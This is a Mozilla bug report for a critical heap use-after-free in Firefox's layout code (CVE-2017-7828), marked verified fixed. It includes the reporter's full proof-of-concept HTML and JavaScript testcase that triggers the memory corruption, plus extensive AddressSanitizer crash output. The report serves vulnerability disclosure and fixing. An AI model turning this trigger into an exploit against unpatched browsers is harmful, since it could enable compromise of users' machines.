Bug 1406750 (CVE-2017-7828)

heap-use-after-free in GetContentRectRelativeToSelf

VERIFIED FIXED in Firefox -esr52

Status

()

defect
P2
normal
VERIFIED FIXED
2 years ago
8 months ago

People

(Reporter: nils, Assigned: emilio)

Tracking

({csectype-uaf, sec-critical, testcase})

49 Branch
mozilla58
Points:
---
Dependency tree / graph
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox-esr5257+ verified, firefox56+ wontfix, firefox57+ verified, firefox58+ verified, firefox59 verified)

Details

(Whiteboard: [adv-main57+][adv-esr52.5+][post-critsmash-triage])

Attachments

(7 attachments, 2 obsolete attachments)

(Reporter)

Description

2 years ago
Posted file ASAN output
The following testcase crashes the latest ASAN build of Firefox 52 ESR. scripts.html needs to be in the same directory.


crash.html:
<script>
function spin () {
    var x=new XMLHttpRequest();
    x.open("POST","https://mozilla.org",false);
    try{x.send("X");}catch(e){}
}
function start() {
	o147=document.documentElement;
	o200=o147.querySelector('*:not([id])');
	o243=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
	o243.src='scripts.html';
	document.documentElement.appendChild(o243);
}
function fun0(doc) {
	o519=doc;
	o527=o519.querySelector('*:not([id])');
	o593=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');
	o200.appendChild(o593);
}
function fun1() {
	spin();
}
function fun2() {
	o200.setAttribute('style','all: unset');
	o697=o593.contentWindow;
	o698=o697.document;
	document.documentElement.appendChild(o698.replaceChild(o519.documentElement,o698.documentElement));
	o593.contentWindow.onresize=fun3;
}
function fun3() {
	document.documentElement.appendChild(o200);
	window.top.document.documentElement.appendChild(o527);
}
</script>
<body onload="start()"></body>

scripts.html:
<marquee id='id8' >
<script>
window.top.fun0(document);
</script>
<style>
::first-line { 
</style>
<script>
window.top.fun1();
</script>
<script>
window.top.fun2();
</script>

ASAN output:
=================================================================
==9825==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000a46120 at pc 0x7f818075fda1 bp 0x7ffccb993750 sp 0x7ffccb993748
READ of size 8 at 0x625000a46120 thread T0
    #0 0x7f818075fda0 in GetUsedBorderAndPadding /home/worker/workspace/build/src/layout/generic/nsIFrame.h:1125:12
    #1 0x7f818075fda0 in GetContentRectRelativeToSelf /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:1233
    #2 0x7f818075fda0 in nsIFrame::GetContentRect() const /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:1243
    #3 0x7f81801a30fb in nsComputedDOMStyle::DoGetWidth() /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:4844:22
    #4 0x7f8180168225 in nsComputedDOMStyle::GetPropertyCSSValue(nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:807:11
    #5 0x7f8180166386 in nsComputedDOMStyle::GetPropertyValue(nsAString_internal const&, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:379:26
    #6 0x7f81801661a8 in nsComputedDOMStyle::GetPropertyValue(nsCSSPropertyID, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:317:10
    #7 0x7f817ca51ee9 in GetWidth /home/worker/workspace/build/src/layout/style/nsCSSPropList.h:4392:1
    #8 0x7f817ca51ee9 in mozilla::dom::CSS2PropertiesBinding::get_width(JSContext*, JS::Handle<JSObject*>, nsDOMCSSDeclaration*, JSJitGetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/CSS2PropertiesBinding.cpp:42528
    #9 0x7f817e017f80 in mozilla::dom::GenericBindingGetter(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2824:13
    #10 0x7f81843a2de5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #11 0x7f81843a2de5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447
    #12 0x7f81843a3a92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #13 0x7f8183e748ed in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12
    #14 0x7f817af79022 in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3330:12
    #15 0x7f817af79022 in xpc::XrayWrapper<js::CrossCompartmentWrapper, xpc::DOMXrayTraits>::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) const /home/worker/workspace/build/src/js/xpconnect/wrappers/XrayWrapper.cpp:2247
    #16 0x7f81840eceee in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:309:12
    #17 0x7f81840ed28c in GetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1522:16
    #18 0x7f81840ed28c in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:305
    #19 0x7f81843af0e1 in GetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1522:16
    #20 0x7f81843af0e1 in GetProperty /home/worker/workspace/build/src/js/src/jsobj.h:846
    #21 0x7f81843af0e1 in js::GetProperty(JSContext*, JS::Handle<JS::Value>, JS::Handle<js::PropertyName*>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:4263
    #22 0x7f818438769c in GetPropertyOperation /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:192:12
    #23 0x7f818438769c in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2639
    #24 0x7f81843683ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12
    #25 0x7f81843a344f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15
    #26 0x7f81843a3a92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #27 0x7f8183e72682 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12
    #28 0x7f817f8949bb in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3310:14
    #29 0x7f817f8949bb in nsXBLProtoImplAnonymousMethod::Execute(nsIContent*, JSAddonId*) /home/worker/workspace/build/src/dom/xbl/nsXBLProtoImplMethod.cpp:331
    #30 0x7f817f85e56e in nsXBLBinding::ExecuteAttachedHandler() /home/worker/workspace/build/src/dom/xbl/nsXBLBinding.cpp:634:5
    #31 0x7f817f85e36e in nsBindingManager::ProcessAttachedQueueInternal(unsigned int) /home/worker/workspace/build/src/dom/xbl/nsBindingManager.cpp:419:7
    #32 0x7f81806e1003 in ProcessAttachedQueue /home/worker/workspace/build/src/dom/xbl/nsBindingManager.h:105:5
    #33 0x7f81806e1003 in XBLConstructorRunner::Run() /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:1687
    #34 0x7f817c0e24ae in nsContentUtils::RemoveScriptBlocker() /home/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5195:5
    #35 0x7f81805eb64a in ~nsAutoScriptBlocker /home/worker/workspace/build/src/obj-firefox/dist/include/nsContentUtils.h:2865:5
    #36 0x7f81805eb64a in nsDocumentViewer::Show() /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:2158
    #37 0x7f8181375989 in SetVisibility /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6486:5
    #38 0x7f8181375989 in non-virtual thunk to nsDocShell::SetVisibility(bool) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6476
    #39 0x7f817c57bf0a in nsFrameLoader::Show(int, int, int, int, nsSubDocumentFrame*) /home/worker/workspace/build/src/dom/base/nsFrameLoader.cpp:864:3
    #40 0x7f8180983205 in nsSubDocumentFrame::ShowViewer() /home/worker/workspace/build/src/layout/generic/nsSubDocumentFrame.cpp:188:9
    #41 0x7f8180a01682 in AsyncFrameInit::Run() /home/worker/workspace/build/src/layout/generic/nsSubDocumentFrame.cpp:90:7
    #42 0x7f817c0e24ae in nsContentUtils::RemoveScriptBlocker() /home/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5195:5
    #43 0x7f818068a3d3 in ~nsAutoScriptBlocker /home/worker/workspace/build/src/obj-firefox/dist/include/nsContentUtils.h:2865:5
    #44 0x7f818068a3d3 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4168
    #45 0x7f818039c02c in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11
    #46 0x7f81803a430a in DoTick /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1483:5
    #47 0x7f81803a430a in DoRefresh /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2257
    #48 0x7f81803a430a in nsRefreshDriver::WillRefresh(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2175
    #49 0x7f818039ad66 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1798:7
    #50 0x7f81803a3a52 in DoTick /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1483:5
    #51 0x7f81803a3a52 in DoRefresh /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2257
    #52 0x7f81803a3a52 in nsRefreshDriver::FinishedWaitingForTransaction() /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2108
    #53 0x7f817bb012a7 in mozilla::layers::ClientLayerManager::DidComposite(unsigned long, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:463:5
    #54 0x7f817bbf879c in mozilla::layers::CompositorBridgeChild::RecvDidComposite(unsigned long const&, unsigned long const&, mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/gfx/layers/ipc/CompositorBridgeChild.cpp:550:5
    #55 0x7f817ad2849d in mozilla::layers::PCompositorBridgeChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PCompositorBridgeChild.cpp:1390:20
    #56 0x7f817a6bd455 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1743:14
    #57 0x7f817a6b9c9c in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1681:17
    #58 0x7f817a6bbd74 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1572:5
    #59 0x7f817a6bc42e in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1597:5
    #60 0x7f817988a7bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7
    #61 0x7f817990c8fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
    #62 0x7f817a6c557f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #63 0x7f817a6370d8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #64 0x7f817a6370d8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #65 0x7f817a6370d8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #66 0x7f817fccffff in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #67 0x7f8181d4dd31 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
    #68 0x7f8181ee5047 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10
    #69 0x7f8181ee67bd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8
    #70 0x7f8181ee767c in XRE_main /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4712:16
    #71 0x4df91a in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282:10
    #72 0x4df91a in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:415
    #73 0x7f81952d682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #74 0x41ba88 in _start (/fuzzer3/esr/firefox/firefox+0x41ba88)

0x625000a46120 is located 32 bytes inside of 8192-byte region [0x625000a46100,0x625000a48100)
freed by thread T0 here:
    #0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f81928b4117 in FreeArenaList /home/worker/workspace/build/src/nsprpub/lib/ds/plarena.c:195:9
    #2 0x7f81928b4117 in PL_FinishArenaPool /home/worker/workspace/build/src/nsprpub/lib/ds/plarena.c:222
    #3 0x7f81803927ff in nsPresArena::~nsPresArena() /home/worker/workspace/build/src/layout/base/nsPresArena.cpp:56:3
    #4 0x7f818066aa70 in nsIPresShell::~nsIPresShell() /home/worker/workspace/build/src/layout/base/nsIPresShell.h:181:7
    #5 0x7f818066abbd in PresShell::~PresShell() /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:841:1
    #6 0x7f8180667453 in PresShell::Release() /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:835:1
    #7 0x7f818016868f in ~nsCOMPtr_base /home/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:294:7
    #8 0x7f818016868f in nsComputedDOMStyle::GetStyleContextForElement(mozilla::dom::Element*, nsIAtom*, nsIPresShell*, nsComputedDOMStyle::StyleType) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:426
    #9 0x7f81801676d1 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:705:7
    #10 0x7f81801680eb in nsComputedDOMStyle::GetPropertyCSSValue(nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:796:3
    #11 0x7f8180166386 in nsComputedDOMStyle::GetPropertyValue(nsAString_internal const&, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:379:26
    #12 0x7f81801661a8 in nsComputedDOMStyle::GetPropertyValue(nsCSSPropertyID, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:317:10
    #13 0x7f817ca51ee9 in GetWidth /home/worker/workspace/build/src/layout/style/nsCSSPropList.h:4392:1
    #14 0x7f817ca51ee9 in mozilla::dom::CSS2PropertiesBinding::get_width(JSContext*, JS::Handle<JSObject*>, nsDOMCSSDeclaration*, JSJitGetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/CSS2PropertiesBinding.cpp:42528
    #15 0x7f817e017f80 in mozilla::dom::GenericBindingGetter(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2824:13
    #16 0x7f81843a2de5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #17 0x7f81843a2de5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447
    #18 0x7f81843a3a92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #19 0x7f8183e748ed in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12
    #20 0x7f817af79022 in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3330:12
    #21 0x7f817af79022 in xpc::XrayWrapper<js::CrossCompartmentWrapper, xpc::DOMXrayTraits>::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) const /home/worker/workspace/build/src/js/xpconnect/wrappers/XrayWrapper.cpp:2247
    #22 0x7f81840eceee in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:309:12
    #23 0x7f81840ed28c in GetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1522:16
    #24 0x7f81840ed28c in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:305
    #25 0x7f81843af0e1 in GetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1522:16
    #26 0x7f81843af0e1 in GetProperty /home/worker/workspace/build/src/js/src/jsobj.h:846
    #27 0x7f81843af0e1 in js::GetProperty(JSContext*, JS::Handle<JS::Value>, JS::Handle<js::PropertyName*>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:4263
    #28 0x7f818438769c in GetPropertyOperation /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:192:12
    #29 0x7f818438769c in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2639
    #30 0x7f81843683ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12
    #31 0x7f81843a344f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15
    #32 0x7f81843a3a92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #33 0x7f8183e72682 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12
    #34 0x7f817f8949bb in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3310:14
    #35 0x7f817f8949bb in nsXBLProtoImplAnonymousMethod::Execute(nsIContent*, JSAddonId*) /home/worker/workspace/build/src/dom/xbl/nsXBLProtoImplMethod.cpp:331
    #36 0x7f817f85e56e in nsXBLBinding::ExecuteAttachedHandler() /home/worker/workspace/build/src/dom/xbl/nsXBLBinding.cpp:634:5
    #37 0x7f817f85e36e in nsBindingManager::ProcessAttachedQueueInternal(unsigned int) /home/worker/workspace/build/src/dom/xbl/nsBindingManager.cpp:419:7
    #38 0x7f81806e1003 in ProcessAttachedQueue /home/worker/workspace/build/src/dom/xbl/nsBindingManager.h:105:5
    #39 0x7f81806e1003 in XBLConstructorRunner::Run() /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:1687
    #40 0x7f817c0e24ae in nsContentUtils::RemoveScriptBlocker() /home/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5195:5

previously allocated by thread T0 here:
    #0 0x4b24fb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x7f81928b3a24 in PL_ArenaAllocate /home/worker/workspace/build/src/nsprpub/lib/ds/plarena.c:127:27
    #2 0x7f8180393041 in nsPresArena::Allocate(unsigned int, unsigned long) /home/worker/workspace/build/src/layout/base/nsPresArena.cpp:165:3
    #3 0x7f818075c6ef in AllocateByFrameID /home/worker/workspace/build/src/layout/base/nsPresArena.h:52:12
    #4 0x7f818075c6ef in AllocateFrame /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:229
    #5 0x7f818075c6ef in operator new /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:312
    #6 0x7f818075c6ef in NS_NewBlockFrame(nsIPresShell*, nsStyleContext*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:300
    #7 0x7f81804aaff3 in nsCSSFrameConstructor::ConstructNonScrollableBlockWithConstructor(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsStyleDisplay const*, nsFrameItems&, nsBlockFrame* (*)(nsIPresShell*, nsStyleContext*)) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4955:32
    #8 0x7f81804b47e7 in nsCSSFrameConstructor::ConstructNonScrollableBlock(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsStyleDisplay const*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4921:10
    #9 0x7f81804ae532 in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:3845:7
    #10 0x7f81804bb7e6 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6196:3
    #11 0x7f8180497f14 in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10640:5
    #12 0x7f8180497f14 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10852
    #13 0x7f81804a27fd in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11862:3
    #14 0x7f81804ab4f2 in nsCSSFrameConstructor::ConstructNonScrollableBlockWithConstructor(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsStyleDisplay const*, nsFrameItems&, nsBlockFrame* (*)(nsIPresShell*, nsStyleContext*)) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4957:3
    #15 0x7f81804b47e7 in nsCSSFrameConstructor::ConstructNonScrollableBlock(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsStyleDisplay const*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4921:10
    #16 0x7f81804ae532 in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:3845:7
    #17 0x7f81804bb7e6 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6196:3
    #18 0x7f8180497f14 in ConstructFramesFromItemList /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10640:5
    #19 0x7f8180497f14 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:10852
    #20 0x7f81804a27fd in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11862:3
    #21 0x7f818049ec58 in nsCSSFrameConstructor::ConstructDocElementFrame(mozilla::dom::Element*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:2625:5
    #22 0x7f81804c1ec6 in nsCSSFrameConstructor::ContentRangeInserted(nsIContent*, nsIContent*, nsIContent*, nsILayoutHistoryState*, bool) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7753:7
    #23 0x7f8180670fc8 in PresShell::Initialize(int, int) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:1790:7
    #24 0x7f81805d8a43 in nsDocumentViewer::InitPresentationStuff(bool) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:723:5
    #25 0x7f81805eb4f6 in nsDocumentViewer::Show() /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:2147:12
    #26 0x7f8181375989 in SetVisibility /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6486:5
    #27 0x7f8181375989 in non-virtual thunk to nsDocShell::SetVisibility(bool) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6476
    #28 0x7f817c57bf0a in nsFrameLoader::Show(int, int, int, int, nsSubDocumentFrame*) /home/worker/workspace/build/src/dom/base/nsFrameLoader.cpp:864:3
    #29 0x7f8180983205 in nsSubDocumentFrame::ShowViewer() /home/worker/workspace/build/src/layout/generic/nsSubDocumentFrame.cpp:188:9
    #30 0x7f8180a01682 in AsyncFrameInit::Run() /home/worker/workspace/build/src/layout/generic/nsSubDocumentFrame.cpp:90:7
    #31 0x7f817c0e24ae in nsContentUtils::RemoveScriptBlocker() /home/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5195:5
    #32 0x7f818068a3d3 in ~nsAutoScriptBlocker /home/worker/workspace/build/src/obj-firefox/dist/include/nsContentUtils.h:2865:5
    #33 0x7f818068a3d3 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4168
    #34 0x7f818039c02c in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11
    #35 0x7f81803a430a in DoTick /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1483:5
    #36 0x7f81803a430a in DoRefresh /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2257
    #37 0x7f81803a430a in nsRefreshDriver::WillRefresh(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2175
    #38 0x7f818039ad66 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1798:7

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/generic/nsIFrame.h:1125:12 in GetUsedBorderAndPadding
Shadow bytes around the buggy address:
  0x0c4a80140bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a80140be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a80140bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a80140c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a80140c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c4a80140c20: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80140c30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80140c40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80140c50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80140c60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80140c70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
